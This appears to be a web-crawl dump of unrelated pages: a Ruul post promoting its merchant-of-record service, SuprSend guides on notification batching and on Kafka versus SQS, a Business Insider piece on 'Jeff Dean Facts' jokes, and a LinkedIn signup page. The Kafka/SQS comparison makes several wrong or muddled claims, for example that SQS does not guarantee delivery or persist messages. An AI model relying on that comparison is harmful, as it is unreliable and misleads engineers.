the sale of digital products, online services, SaaS software, and subscription-based freelance service packages . 7. Responsive and human customer support If you encounter issues with payments, taxes, or any other aspect of the process, you'll need a responsive support team that can resolve your problems promptly. That's why you should ensure the support team consists of real people and responds promptly. 📌 Ruul has a fast customer support team made up of real people. See this comment on Trustpilot: Source Some of the popular Merchant of Record and Payment Processor platforms Here are some of the popular Merchant of Record and Payment Processor platforms that freelancers and entrepreneurs are frequently using in 2025. Merchant of Record (MoR) platforms 1. Ruul Check it out. That's us. We're a user-friendly MoR platform designed by freelancers, specifically for freelancers. We let you sell digital products, online services, and subscription & membership in 190 countries and with 140 currencies (including crypto). We handle: Tax compliance, Invoicing, Payment collection, and Transactions with the client. The formula for freelancers: rapid globalization + zero legal burden, all at Ruul! Pricing: A pay-as-you-go model—a flat 5% for every transaction. No hidden fees. 2. Paddle Paddle is a popular MoR platform, especially for entrepreneurs and businesses selling SaaS, AI, and applications. It addresses the challenges of global sales, including VAT, sales tax, compliance, and fraud. Pricing: 5% + 50¢ per Checkout transaction. 3. Dodo Payments Dodo Payments is a full-service MoR model for digital product sellers and developers. It offers 25 local and global payment options, including Apple Pay, and comes with GST, VAT, and sales tax automation. Pricing: 4% + 40¢ per transaction. 4. Gumroad Gumroad is a frequently used MoR among freelancers, digital content creators, and those who sell digital products. Online courses, consulting services, e-books, and graphic materials are among the most popular digital products offered here. While it's a good example of an MoR, its commission fee is relatively high compared to other platforms. Pricing: 10% + $0.50 USD. Payment Processor (PP) platforms 1. Stripe This is one of the most used Payment Processors by independent workers. It's active in 195 countries, and you can process transactions in over 135 currencies. For example, if you have a personal social media account where you sell your services, you can receive payments through Stripe. You can also integrate Stripe into your personal website to build trust with your clients. Pricing: Stripe's commissions can vary depending on your chosen payment method, currency, and country. For domestic cards, they typically charge 2.9% + 30¢ per transaction. 2. PayPal This is one of the world's most well-known digital wallets. It operates in over 200 regions and supports 25 different currencies. It offers easy integration, but all seller responsibilities still rest with the user. Its chargeback management, in particular, can be weak. Pricing: Since PayPal's fees are pretty variable, we can't provide an average commission rate. However, the " PayPal Merchant Fees " page on their website can provide you with assistance. 3. Wise (formerly TransferWise) Wise is available in 140 countries and supports 40 different currencies. It cannot be used for direct payment acceptance, but can be integrated with PPs and is a preferred choice for sending and receiving cross-border payments. Pricing: Transaction fees are stated to start from a minimum of 0.61%. To find out the actual commission you'll pay, you can use the Wise Fee Calculator . Decision checklist: Ask yourself these 5 questions Suppose you want to move forward in the global market as a freelancer. In that case, you shouldn't just focus on the commission when choosing your payment infrastructure, but also on the associated risks and operational load. The following questions will help you choose the right model: 1. What is my market focus? Will I only be selling in my own country? (If yes, a PP is a viable option, but an MoR can still significantly simplify your operations.) Am I aiming to sell in many countries at the same time? (If yes, seriously consider an MoR.) 2. What are my resources and expertise? Do I have the time, knowledge, and budget to manage issues like international taxes, legal compliance, and fraud management? (If no, an MoR is a safer start. If yes, a PP could be more profitable.) 3. How important is brand identity to me? Is it an absolute priority for my own brand to appear on the customer's credit card statement and during the payment process? (If yes, choose a PP.) 4. What is my cost priority? Is my priority to pay the lowest commission per transaction, or to have a predictable total cost that includes all hidden costs? (For the lowest commission, choose a PP. For a predictable total cost, choose an MoR.) 5. What is my growth strategy? Is my priority to launch in the global market as quickly as possible? (If yes, an MoR is a strategic accelerator.) Do I prefer to grow more slowly, in a controlled way, learning about each market one by one? (If yes, a PP offers more control.) Meet the best MoR for freelancers: Ruul If you've decided that your payment infrastructure needs to be an MoR, then meet Ruul —the best MoR platform you can choose as a freelancer! No matter what sector you're in, Ruul is a full-featured MoR built by independents, for all independents. We're active in 190 countries and support 140 currencies, including crypto, so that you can sell your services without borders. We also offer multiple methods so you can sell your services with the sales model you want: Subscription software, freelance service packages, digital products, and subscription services. Whichever way you need to make money, it's right at your fingertips. At Ruul, we don't charge you a monthly fee. We've created a freelancer-friendly system where you only pay for what you use. We charge a flat 5% for each billing transaction (which either you or your client can pay). Take the first step by joining Ruul , and add your name to the thousands of successful freelancers reaching 190 countries. FAQs What is the difference between a payment processor and a merchant of record? The merchant of record sells the goods or services. The payment processor is the financial technology company that technically facilitates the payment transaction on the merchant's behalf. Is PayPal a payment processor? Yes, PayPal acts as a payment processor . It's a payment service provider that bundles a merchant account and a payment gateway, allowing businesses (the merchants) to accept online payments. ABOUT THE AUTHOR Mert Bulut Mert Bulut is an innate entrepreneur, who after completing his education in Management Engineering (BSc) and Programming (MSc), co-founded Ruul at the age of 27. His achievements in entrepreneurship were recognized by Fortune magazine, which named him as one of their 40 under 40 in 2022. More Toptal vs Fiverr Which is Better for Freelancers? Which platform is better for freelancers in 2024: Toptal or Fiverr? Uncover the answer and see which one suits your needs. Read more Best Freelancing Websites Struggling to pick a freelancing website? These 16 categorized freelancing platforms will save your time, energy, and maybe your sanity! Read more Ensuring cybersecurity as a freelancer Cybersecurity, or digital security, is the act of protecting your sensitive information from potential data breaches. Read more MORE THAN 120,000 Independents Over 120,000 independents trust Ruul to sell their services, digital products, and securely manage their payments. FROM 190 Countries Truly global coverage: trusted across 190 countries with seamless payouts available in 140 currencies. PROCESSED $200m+ of Transactions Over $200M successfully processed, backed by an 8-year legacy of secure, reliable transactions trusted by independents worldwide. FREQUENTLY ASKED QUESTIONS Everything you need to know. Get clear, straightforward answers to the most common questions about using Ruul. hey@ruul.io What is Ruul? Ruul is a merchant-of-record platform helping freelancers and creators globally sell services, digital products, subscriptions, and easily get paid. Who is Ruul for? Ruul is designed for freelancers, creators, and independent professionals who want a simple way to sell online and get paid globally. How does Ruul work? Open an account, complete a quick verification (KYC), and link your payout account. Then, start selling through your store or send payment requests to customers instantly. How does pricing work? Signing up is free. There are no subscription or hidden fees. Ruul charges a small commission only when you sell or get paid through the platform. What is a Merchant of Record? A merchant of record is the legal seller responsible for processing payments, handling taxes, and managing compliance for each transaction. What can I sell on Ruul? You can sell services, digital products, license keys, online courses, subscriptions, and digital memberships. How do I get paid on Ruul? Add your preferred bank account, digital wallet, or receive payouts in stablecoins as crypto. Funds arrive within 24 hours after a payout is triggered. OPEN AN ACCOUNT START MAKING MONEY TODAY ruul.space/ Thank you! Your submission has been received! Oops! Something went wrong while submitting the form. Trustpilot Product Payment Requests Sell Services Sell Products Subscriptions Ruul Space Pricing For Businesses Resources Blog About Contact Support Referral Program Affiliate Program Partner Program Tools Invoice Generator NDA Generator Service Agreement Generator Freelancer Hourly Rate Calculator All Rights Reserved © 2025 Terms Of Use Privacy Policy	2026-01-13T08:47:55
https://www.suprsend.com/post/how-to-batch-notifications-for-your-social-media-collaborative-application	How to Batch Notifications for your Social Media/ Collaborative Application? Product FEATURES Template Engine Powerful template editors for all channels App Inbox Fully customizable inbox for your app & website Analytics Deep data insights on notification performance Logs Real-time notifications logs for all channels Smart Routing Reach users where they are Branding Seamlessly manage multi-brand customization Workflows Craft complex notification workflows Bifrost Run notifications natively on data warehouse Preferences Develop user focused notifications Integrations Integrate any channel and provider within mins Solutions BY USECASES Transactional Real-time alerts like authentication, activity updates Batching & Digest Aggregate multiple alerts into one Collaboration & Action Alerts on cross-user activity Scheduled Notifications One-time or recurring alerts like reminders Multi-tenant Alerts tailored to your customer's preferences Announcement / Newsletters Feature releases, achievements, product & policy updates Pricing Docs Customers Blog Login Get Started For Free Login Sign up Product Implementation Guides How to Batch Notifications for your Social Media/ Collaborative Application? Nikita Navral • February 5, 2025 TABLE OF CONTENTS Batching notifications represents a valuable feature extensively implemented by prominent social media platforms and collaborative tools globally. Some popular examples include LinkedIn, MS Teams and Google Workspace products like Google Docs. This technique involves aggregating multiple alerts into a concise summary, displayed within a singular notification. Batching notifications creates a clutter-free user experience and fewer interruptions. When users are bombarded with too many alerts, it can lead to notification fatigue, resulting in decreased engagement. If users become less attentive to updates, it could ultimately lead to a decline in product usage or even indifference towards the platform over time. How Batching Works: Notifications often become a secondary concern for companies, trailing behind primary business objectives. Establishing complex workflows, such as efficient batching, demands significant development resources that could otherwise be directed towards core competencies. Below, we examine the technical aspects involved in batching: Aggregation Engine: Efficiently aggregating related notifications, such as likes, shares, and comments on a specific item for a user, involves sophisticated sorting and clustering based on metadata attributes. Besides, you might want to aggregate different type of activity alerts separately on the same entity. Example: For an Instagram photo, Instagram aggregates story likes and comments separately. Thus, the user receives batched notifications for likes and comments separately, ensuring that information is organized and understood neatly. ‍ Batching Window: The appropriate batching window for notifications can vary significantly based on the specific use case. For instance, you might implement a fixed batching window, such as every 30 minutes, or define a window based on specific time intervals, like from 9 AM to 6 PM. Additionally, batching can be tailored to user preferences, accommodating requests for hourly, daily or weekly notifications. It can also be adjusted based on user behavior, such as period of inactivity, or on maximum counts. Example: LinkedIn sends batched email alerts for new messages received within a 30-minute window, while Google Docs batches comments based on user activity, ensuring updates are grouped when the user has stopped commenting. ‍ Scheduling: Once aggregated, scheduling determines the most effective time for delivering the notification. It could be instantly when the first trigger happens, or at the end of batched window, or at another strategically chosen time when the user is most likely to engage with the notification. Example, In case of post likes, the message is immediately sent to the user within in-app feed. But on subsequent likes, the same message is batched and updated. On the other hand, many SaaS companies create a daily digest for all the activities happening in a day, and schedules them for next morning. ‍ Batched message: How a batched message is presented to the user is critical to ensure clarity and engagement. Options range from a simple counter indicating the number of messages (e.g., "You have 2 messages") to more engaging messages that provide a snapshot of the activity. For instance, you could show a brief summary like "Patrick and 3 others liked your photo," or list all activities, or provide detailed information up to a set limit. Each option requires careful consideration to balance informativeness, increase interactive appeal without information overload and thorough testing. ‍ Cancelling aggregation: During a batching window, if a counter-activity is performed, then the aggregation has to be updated accordingly. Example, if a user likes a post then aggregation counter is increased by one, but if the user unlikes within the batch window, then aggregation counter has to be reduced by one.Let’s implement a batching use-case for notifications in the simplest way without coding. Assuming a React application, as our demo app is created in React, let me show you the process. You can access the demo application and code here: Github: https://github.com/SuprSend-NotificationAPI/social-app-react-app-inbox Deployed Application: https://suprsend-notificationapi.github.io/social-app-react-app-inbox/ Creating Batching Workflows for Notifications on SuprSend Pre-requisites: Account on SuprSend - Signup here Integration of any existing SuprSend SDK in your project where trigger happens - Documentation Successful event call made to SuprSend with necessary details Creating a batching mechanism for notifications entails establishing multiple triggers of an event occurring within a designated period for a particular user. An alert can be batched based on a chosen criterion, which is often tied to a distinct user ID. Given our sample scenario of a social media tool generating plentiful activities, let's dive into how batching works in practice.We would be trying to achieve this particular workflow (on left) and the desired output (on bottom) from this article. ‍ 1. Identifying Triggers: Recurring events which aren’t time sensitive are best presented in a batched notification. For this demo application purpose, we would trigger a ‘ Like_Event ’ event whenever someone likes a post. You can also unlike the post, and like the post again to trigger back the event to test the batch workflow. To start events on SuprSend Workflows , just pick the 'Trigger' node on the workflow builder. Make sure your backend sends events when specific triggers occur. For example, when someone clicks the 'Like' or 'Comment' button, it sends the ' LIKE_EVENT ' event. For this demo application, we are using SuprSend's Javascript SDK. If you see our demo app Card.js component , we have initialized our Javascript SDK and sending the Like_Event event along with the properties such as name or location on button click as below. In real applications, these variables would be fetched from your logged in user state object. ‍ 2. Setting up Parameters for Batch: On SuprSend choose the ‘Batch’ node to initialise this process in your workflow. Make sure, the node preceding it has some incoming events. Batch Window : It’s the duration you want to listen to the events to create a batched alert. You can put a ‘Fixed’ batch window or define a custom batching window personalized to the end-user by selecting the ‘Dynamic’ type and passing the .duration_key JQ expression as a property in your payload in this format: d h m s For the demo and quick testing, we would be selecting ‘Fixed’ batch window of 15 seconds. Batch Key: It is the property on which you define the unique batch events passed on as .batch_key JQ expression in your .track event call. By default, the batching is done on the user-level, corresponding to a distinct_id . Incase you want to batch alerts further on a property (eg. batch likes of a post together, for another post, batch it separately); you can set it up here. Since collaborative or social application often need more advanced batching properties, let’s go with a custom .batch_key on userName variable which would signify the type of post someone likes on the application (eg. - facebook, twitter, instagram or youtube). Retain Batch Events : When you send the event payload, you can showcase any number of objects from that in your notification as an array. Let’s retain 15 objects in the array for this demo purpose. With above configurations, our suprsend.track event call looks like this: Once it’s done, you can ‘Save’ and ‘Commit Changes’ to the workflow. How will batching work in templates? Once you define the batch properties in the track event call, every incoming event object would be stored and appended in a $batched_events array and it’s counted in $batched_event_count system variable, which can be later used to represent the event count in the templates. You can use these system variables in your templates with handlebar helpers. Let’s create one! 3. Creating Templates that can handle Batched Events This is the last part of our workflow process. You can create the template over the dashboard or using Template API. For this demo, let’s go over to the Templates section on the dashboard.Since we want to show a conditional templating content, we would be using Handlebar Helpers to achieve that. You can read more about Handlebar Helpers here: https://docs.suprsend.com/docs/handlebars-helpers ‍ This is our template content for App Inbox. It uses compare condition to check if the $batched_events_count is more than 1. If it is we would need to showcase our notification in this format: John and 2 others liked your post. You can also test this behavior via Enable batching option in Mock data button on template details page. Once enabled, you'll start getting $batched_events* variable in auto suggestion on typing {{ in template editor. {{#compare $batched_events_count '>' 1}} {{$batched_events.[0].username}} and {{subtract $batched_events_count 1}} others liked your {{$batch_key}} post. Check your post here.{{else}} {{$batched_events.[0].username}} liked your {{$batch_key}} post. Check your post here.{{/compare}} ‍ Once done, you can preview and test the template from the same page. Save it to use. Why Batching Alone Isn’t Enough? While batching notifications can help reduce the total number of messages sent, it is first step towards ensuring a clean and organized notification experience. When numerous events occur within a small batch window, users may still receive several batched notifications throughout the day for various purposes like likes, comments, recommendations, etc.Introducing throttling limitations alongside batch processing significantly enhances the overall user experience by managing notification frequency. By setting an upper limit on daily notifications (e.g., three alerts per day), even when batching occurs multiple times during the same period, excess batches will be halted and prevented from being executed. This approach ensures that users benefit from a clutter-free interaction while staying informed about relevant updates.In the following section, we will discuss implementing a Throttle node along with batched notifications at SuprSend to achieve optimal results. Share this blog on: Written by: Nikita Navral Co-Founder, SuprSend Implement a powerful stack for your notifications Get Started For Free Book Demo Company About us Signup Login Integrations Pricing Security Privacy Terms Contact Us Support SuprSend for Startups API Status Sign Up Channels Email SMS Notification Inbox Android Push iOS Push Web Push Xiaomi Push Whatsapp SDK Python SDK Node.js SDK Java SDK Android SDK React Native SDK iOS SDK Flutter SDK Go SDK Resources Documentation Changelog Blogs Write for us SMTP Error Codes SMS Providers Comparisons Email Providers Comparisons SMS Providers Alternatives Join us on Slack We are building a community of developers and product builders from across the globe to make notifications a pleasant experience. © 2025 All rights reserved. SuprStack Inc. By clicking “Accept All Cookies” , you agree to the storing of cookies on your device to enhance site navigation, analyze site usage, and assist in our marketing efforts. View our Privacy Policy for more information. Preferences Deny Accept Privacy Preference Center When you visit websites, they may store or retrieve data in your browser. This storage is often necessary for the basic functionality of the website. The storage may be used for marketing, analytics, and personalization of the site, such as storing your preferences. Privacy is important to us, so you have the option of disabling certain types of storage that may not be necessary for the basic functioning of the website. Blocking categories may impact your experience on the website. Reject all cookies Allow all cookies Manage Consent Preferences by Category Essential Always Active These items are required to enable basic website functionality. Marketing Essential These items are used to deliver advertising that is more relevant to you and your interests. They may also be used to limit the number of times you see an advertisement and measure the effectiveness of advertising campaigns. Advertising networks usually place them with the website operator’s permission. Personalization Essential These items allow the website to remember choices you make (such as your user name, language, or the region you are in) and provide enhanced, more personal features. For example, a website may provide you with local weather reports or traffic news by storing data about your current location. Analytics Essential These items help the website operator understand how its website performs, how visitors interact with the site, and whether there may be technical issues. This storage type usually doesn’t collect information that identifies a visitor. Confirm my preferences and close Get 10% OFF on your next order Subscribe to our newsletter and receive a 10% OFF coupon to use on your next order. Please check your email for your 10% OFF coupon Oops! Something went wrong while submitting the form.	2026-01-13T08:47:55
https://www.suprsend.com/post/kafka-vs-sqs-comparison-2023-which-is-better-message-broker-for-my-notification-system	Kafka vs SQS Comparison (2024) - Which Is Better Message Broker For My Notification System? Product FEATURES Template Engine Powerful template editors for all channels App Inbox Fully customizable inbox for your app & website Analytics Deep data insights on notification performance Logs Real-time notifications logs for all channels Smart Routing Reach users where they are Branding Seamlessly manage multi-brand customization Workflows Craft complex notification workflows Bifrost Run notifications natively on data warehouse Preferences Develop user focused notifications Integrations Integrate any channel and provider within mins Solutions BY USECASES Transactional Real-time alerts like authentication, activity updates Batching & Digest Aggregate multiple alerts into one Collaboration & Action Alerts on cross-user activity Scheduled Notifications One-time or recurring alerts like reminders Multi-tenant Alerts tailored to your customer's preferences Announcement / Newsletters Feature releases, achievements, product & policy updates Pricing Docs Customers Blog Login Get Started For Free Login Sign up Engineering Kafka vs SQS Comparison (2024) - Which Is Better Message Broker For My Notification System? • September 5, 2024 TABLE OF CONTENTS What is Apache Kafka? Apache Kafka is a message broker that helps companies manage and analyze big data in real-time. It allows developers to create pipelines that can handle large amounts of data, process it quickly, and store it in a way that makes sense for their needs. This makes it easier for them to build apps and services that rely on real-time data. Kafka is like a message bus that lets different parts of a system communicate with each other. It's good at handling lots of messages quickly and making sure they get to where they need to go without any problems. This makes it useful for things like tracking website activity, monitoring sensor data, or sending alerts when something important happens. Working Mechanism Example of Apache Kafka Let’s understand working with Kafka with an example. When you first start your company, everything is very simple. You have your source and target systems, and you might need to move data between them. For example, if your source system is a database and your target system is an analytics system, moving data from A to B is very simple. As your business grows, you will have many source and target systems, making it difficult to integrate them all. There will be many more integrations for you to create, each with its own set of difficulties. Suppose you want to integrate 3 source systems and 3 target systems. you will need to build 9 integrations, and each integration will have challenges in choosing data protocol, data format, and database schema. In addition, each time you integrate a source system with a target system, specific processes will retrieve and query data from the source system. The extra responsibilities from the connections on the source item could be problematic. Apache Kafka allows you to separate your data streams from your systems. Consequently, the idea is that the source systems will be responsible for sending their data into Apache Kafka and that any target systems that want access to this data feed or stream will then have to query and read from Apache Kafka to get the stream of data from these three systems. Therefore, by having this decoupling, we are placing the full responsibility of receiving and sending the data on Apache Kafka. Features of Apache Kafka Some features of Apache Kafka are:- It is a distributed system; it can scale to accommodate significant data volume. It is a popular option for stream processing since it can handle data in real-time. It can be used to collect application logs at large. What is AWS SQS? Amazon SQS stands for Amazon Simple Queue Service. It is the managed message queuing service used by programmers and technical experts to transmit, store, and retrieve many messages of different sizes asynchronously. The service allows users to develop serverless applications, distributed systems, and individual microservices by separating them from one another and scaling them without creating and maintaining their message queues. Working Mechanism Example of AWS SQS Let's suppose a website that produces memes. Let's say the user wants to upload a photo they wish to turn into a meme. A user submits a picture to a website, which might then store it in S3. It starts a Lambda function as soon as the uploading process is complete. Lambda analyzes the information about this specific image and sends it to SQS. This information may include the S3 bucket's location, "what the top of the meme should say", "what the bottom of the meme should say," and other information. The information is kept as a message inside the SQS. A message is examined by an EC2 instance, which then completes its task. A Meme is produced by an EC2 instance and kept in an S3 bucket. The EC2 instance returns to the SQS after finishing its task. The best part is that because the work is stored inside the S3 bucket, you won't lose it even if you lose your EC2 instance. Features of AWS SQS Some features of AWS SQS are:- SQS ensures that sent messages are safe and not lost. As a result, it stores them in numerous standard queues. SQS locks user communications while they are being processed so that different producers can transmit messages to different recipients, and recipients can simultaneously receive messages from many recipients. For various application requirements, Amazon SQS provides two types of queues: normal and FIFO queues. Apache Kafka vs. Amazon SQS Comparison (2024) Let’s see the difference between Kafka and SQS. Feature Apache Kafka Amazon SQS Deployment Self hosted Fully managed by AWS Message Model Distributed Public Subscribe System Distributed Message Queuing Service Throughput High High Latency Low Varying Message Ordering Partition of Order Best-effort Ordering Durability Strong Durability through Replication Provide Durability but AWS manages replication Scalability Horizontal Scaling Auto-Scaling by AWS Security SSL Encryption AWS Identity and Access Management Cost Model Pay is according to Infrastructure resources Pay for usage (request and data transfer) Management Manual Fully managed by AWS Data Processing Real-time stream processing No built-in stream processing Use Cases Real-time data streaming, Decoupling Components Real-time data streaming Message Retention Duration Configurable Duration Fix Retention Period (max 14 days) Monitoring Tools Kafka Monitor, Kafka Connect Cloud Watch Machine Learning Support Native Support Doesn’t have Native Support Operational Challenges Comparison: SQS vs. Kafka Several Challenges arise while using SQS and Kafka:- Challenge Amazon SQS Apache Kafka Rate Limits Rate limits on message sending and receiving per second may pose challenges for high-throughput applications. Kafka is designed for high-throughput scenarios and doesn't impose strict rate limits. Message Delivery Guarantees SQS does not guarantee message delivery. Messages are not re-sent if they fail to be delivered. Guaranteed delivery may be a challenge. Kafka offers configurable acknowledgment mechanisms, allowing you to choose delivery guarantees, including "at most once," "at least once," and "exactly once" semantics. Scalability While Kafka is highly scalable, achieving and managing that scalability for SQS can be complex, especially for large-scale deployments. Kafka's scalability can be a strong point but may present challenges during initial setup and scaling. Complexity SQS abstracts most of the complexity away, making it easy to use. Kafka's complexity can be a barrier for teams without prior experience managing distributed systems. Cost SQS typically offers a more cost-effective option due to its fully managed nature and pay-as-you-go pricing model. Due to infrastructure and operational expenses, Kafka implementation and maintenance can be costly, particularly at scale. Vendor Lock-In SQS is tightly integrated with AWS, which may lead to vendor lock-in if heavily reliant on AWS services. Kafka can be deployed on various cloud providers or on-premises, reducing vendor lock-in concerns. Which is Better Message Broker: AWS SQS or Kafka? SQS and Kafka have advantages and disadvantages, and which is better for your company depends on your particular requirements. To help you in making a choice, let's explore each platform in more detail. Amazon SQS is a cloud-based messaging service that makes it simple for programmers to send and receive messages between apps. It is an excellent choice for small-to medium-sized businesses because it is simple to use, dependable, and scalable. It does, however, have some restrictions. For example, message sizes are limited to 256 KB in size, and persistence or durability is not supported by default. Kafka is a more reliable platform that offers capabilities like message durability and persistence. Large message sizes can be handled by Kafka as well. Although it is more difficult to use than SQS, it can work well for larger organizations that require greater capabilities. Conclusion It's essential to evaluate your unique requirements while considering each platform's advantages when choosing between Kafka and SQS for developing a notification service. Kafka is a good choice for situations that call for quick event processing and analytics due to its high throughput, low latency, and real-time data processing capabilities. However, SQS excels as a fully managed service, ensuring dependable message delivery and effectively decoupling components. Share this blog on: Written by: Implement a powerful stack for your notifications Get Started For Free Book Demo Company About us Signup Login Integrations Pricing Security Privacy Terms Contact Us Support SuprSend for Startups API Status Sign Up Channels Email SMS Notification Inbox Android Push iOS Push Web Push Xiaomi Push Whatsapp SDK Python SDK Node.js SDK Java SDK Android SDK React Native SDK iOS SDK Flutter SDK Go SDK Resources Documentation Changelog Blogs Write for us SMTP Error Codes SMS Providers Comparisons Email Providers Comparisons SMS Providers Alternatives Join us on Slack We are building a community of developers and product builders from across the globe to make notifications a pleasant experience. © 2025 All rights reserved. SuprStack Inc. By clicking “Accept All Cookies” , you agree to the storing of cookies on your device to enhance site navigation, analyze site usage, and assist in our marketing efforts. View our Privacy Policy for more information. Preferences Deny Accept Privacy Preference Center When you visit websites, they may store or retrieve data in your browser. This storage is often necessary for the basic functionality of the website. The storage may be used for marketing, analytics, and personalization of the site, such as storing your preferences. Privacy is important to us, so you have the option of disabling certain types of storage that may not be necessary for the basic functioning of the website. Blocking categories may impact your experience on the website. Reject all cookies Allow all cookies Manage Consent Preferences by Category Essential Always Active These items are required to enable basic website functionality. Marketing Essential These items are used to deliver advertising that is more relevant to you and your interests. They may also be used to limit the number of times you see an advertisement and measure the effectiveness of advertising campaigns. Advertising networks usually place them with the website operator’s permission. Personalization Essential These items allow the website to remember choices you make (such as your user name, language, or the region you are in) and provide enhanced, more personal features. For example, a website may provide you with local weather reports or traffic news by storing data about your current location. Analytics Essential These items help the website operator understand how its website performs, how visitors interact with the site, and whether there may be technical issues. This storage type usually doesn’t collect information that identifies a visitor. Confirm my preferences and close Get 10% OFF on your next order Subscribe to our newsletter and receive a 10% OFF coupon to use on your next order. Please check your email for your 10% OFF coupon Oops! Something went wrong while submitting the form.	2026-01-13T08:47:55
http://www.businessinsider.com/astounding-facts-about-googles-most-badass-engineer-jeff-dean-2012-1?op=1	Astounding 'Facts' About Google's Most Badass Engineer, Jeff Dean - Business Insider Business Insider Subscribe Newsletters Search Business Strategy Economy Finance Retail Advertising Careers Media Real Estate Small Business The Better Work Project Personal Finance Tech Science AI Enterprise Transportation Startups Innovation Markets Stocks Indices Commodities Crypto Currencies ETFs Lifestyle Entertainment Culture Travel Food Health Parenting Politics Military & Defense Law Education Reviews Home Kitchen Style Streaming Pets Tech Deals Gifts Tickets Video Big Business Food Wars So Expensive Still Standing Boot Camp Subscribe My account Log in Newsletters US edition Deutschland & Österreich España Japan Polska TW 全球中文版 Get the app Tech Astounding 'Facts' About Google's Most Badass Engineer, Jeff Dean By Nicholas Carlson 2012-01-24T17:20:00.000Z Share Copy link Email Facebook WhatsApp X LinkedIn Bluesky Threads lighning bolt icon An icon in the shape of a lightning bolt. Impact Link Save Saved Read in app This story is available exclusively to Business Insider subscribers. Become an Insider and start reading now. Have an account? Log in . Niall Kennedy Forget Larry and Sergey: At the Googleplex in Mountain View, California, the real celebrity engineer  is Jeff Dean. Consider this story Googler Heej Jones  told on Quora:  " Before my first day at Google, a mutual friend introduced [me to Jeff] over email. So during my first week, I pinged him to grab lunch. At the time, I had no idea who he was or anything about his stature at Google. I did notice during that first lunch, however, that people were staring at him from several tables over, while others would whisper something as they passed by our table. As I began to cultivate more engineer friends, I came to know more about his "legend"; one such friend once exclaimed, "You had lunch with  Jeff Dean ?!"  Dean is such a star because  Googlers widely credit his code for the blazing speed of Google search. How deep does this adoration go? You know those Chuck Norris jokes called " Chuck Norris Facts "?  Like: " Chuck Norris doesn't wash dishes, they wet themselves out of fear " or " Chuck Norris is not allowed on commercial flights because his fists are considered deadly weapons "? Well, over on Quora, there's a bunch of " Jeff Dean Facts ," written by Googlers and ex-Googlers who love their hero. They're pretty funny – if you understand software engineers and their sense of humor. Because we don't always, we asked Business Insider chief architect, Pax Dickinson, to help translate the jokes for the rest of us. Compilers don’t warn Jeff Dean. Jeff Dean warns compilers. Niall Kennedy Joke by:  Christopher Lin Pax: "Compilers warn you when your code is doing something that isn't an error but might not be correct. Jeff knows better than the compiler." Nicholas Carlson Jeff Dean builds his code before committing it, but only to check for compiler and linker bugs. Niall Kennedy Joke by:  Christopher Lin Pax: "Jeff's code can never be wrong, so he compiles it only to ensure that the compiler and linker are free from bugs." Nicholas Carlson Jeff Dean puts his pants on one leg at a time, but if he had more legs, you would see that his approach is O(log n). Niall Kennedy Joke by:  Josh Wills Pax: "Jeff's pants-wearing algorithm scales logarithmically rather than linearly, so he'd spend less time dressing per leg the more legs he had." Nicholas Carlson When he heard that Jeff Dean's autobiography would be exclusive to the platform, Richard Stallman bought a Kindle. Niall Kennedy Pax: "Richard Stallman is famously rabidly against any non-free software, and would never ever purchase or use a Kindle. But Jeff Dean is so interesting, he'd violate all his principles [to read his autobiography]." Nicholas Carlson Jeff Dean writes directly in binary. He then writes the source code as a documentation for other developers. Niall Kennedy Joke by:  Kevin Goslar Pax: "All code is [electronically] compiled into a binary representation before it's executed, and Jeff is so good he can code directly to that representation, and only writes source code so mere human programmers can understand how it works." Nicholas Carlson During his own Google interview, Jeff Dean was asked the implications if P=NP were true. He said, "P = 0 or N = 1." Then, before the interviewer had even finished laughing, Jeff examined Google’s public certificate and wrote the private key on the whiteboard. Niall Kennedy Joke by:  Christopher Lin Pax: "P vs. NP is the most famous unsolved problem in computer science, but Jeff treats it as a straight up algebra problem. Then he derives google's private key from their public certificate in his head, which is impossible even for a supercomputer." Nicholas Carlson The x86-64 spec includes several undocumented instructions marked 'private use.' They are actually for Jeff Dean's use. Niall Kennedy Pax: "Private undocumented CPU instructions aren't supposed to be used by anyone, but these rules don't apply to Jeff." Nicholas Carlson When Jeff Dean has an ergonomic evaluation, it is for the protection of his keyboard. Niall Kennedy Joke by:  Christopher Lin Pax: "Usually ergonomic evaluation corrects your posture for your health, but Jeff's is for his keyboard's health because he's so badass." Nicholas Carlson All pointers point to Jeff Dean. Niall Kennedy Pax: "Pointers are C variables that point to a memory location, they're a core element of C coding. Jeff is the center of the programming universe." Nicholas Carlson The rate at which Jeff Dean produces code jumped by a factor of 40 in late 2000 when he upgraded his keyboard to USB 2.0 Niall Kennedy Joke by:  Christopher Lin Pax: Dean's coding was slowed down by the speed of the interface between his keyboard and his computer. Nicholas Carlson Recommended video Google Read next Business Insider tells the innovative stories you want to know Business Insider tells the innovative stories you want to know Business Insider tells the innovative stories you want to know Business Insider tells the innovative stories you want to know HOME Subscribe This story is available exclusively to Business Insider subscribers. Become an Insider and start reading now. Have an account? Log in . Legal & Privacy Terms of Service Terms of Sale Privacy Policy Accessibility Code of Ethics Policy Reprints & Permissions Disclaimer Advertising Policies Conflict of Interest Policy Commerce Policy Coupons Privacy Policy Coupons Terms Company About Us Careers Advertise With Us Contact Us News Tips Company News Awards Masthead Other Sitemap Stock quotes by finanzen.net Corrections AI Use International Editions AT DE ES JP PL TW Copyright © 2026 Insider Inc. All rights reserved. Registration on or use of this site constitutes acceptance of our Terms of Service and Privacy Policy . Jump to Main content Search Account	2026-01-13T08:47:55
https://www.linkedin.com/signup/cold-join?session_redirect=https%3A%2F%2Fwww%2Elinkedin%2Ecom%2Fcompany%2Fruul&trk=organization_guest_main-feed-card_social-actions-comments	Sign Up \| LinkedIn Join LinkedIn now — it’s free! Not you? Remove photo Join LinkedIn To create a LinkedIn account, you must understand how LinkedIn processes your personal information by selecting learn more for each item listed. Agree to all terms We collect and use personal information. Learn more We share personal information with third parties to provide our services. Learn more Further information is available in our Korea Privacy Addendum . Privacy Policy Addendum 1 of 2 2 of 2 Agree to the term Continue Back Agree to all terms Email Password Show Keep me logged in First name Last name By clicking Agree & Join, you agree to the LinkedIn User Agreement , Privacy Policy , and Cookie Policy . Agree & Join or Security verification Already on LinkedIn? Sign in Looking to create a page for a business? Get help LinkedIn © 2026 About Accessibility User Agreement Privacy Policy Cookie Policy Copyright Policy Brand Policy Guest Controls Community Guidelines العربية (Arabic) বাংলা (Bangla) Čeština (Czech) Dansk (Danish) Deutsch (German) Ελληνικά (Greek) English (English) Español (Spanish) فارسی (Persian) Suomi (Finnish) Français (French) हिंदी (Hindi) Magyar (Hungarian) Bahasa Indonesia (Indonesian) Italiano (Italian) עברית (Hebrew) 日本語 (Japanese) 한국어 (Korean) मराठी (Marathi) Bahasa Malaysia (Malay) Nederlands (Dutch) Norsk 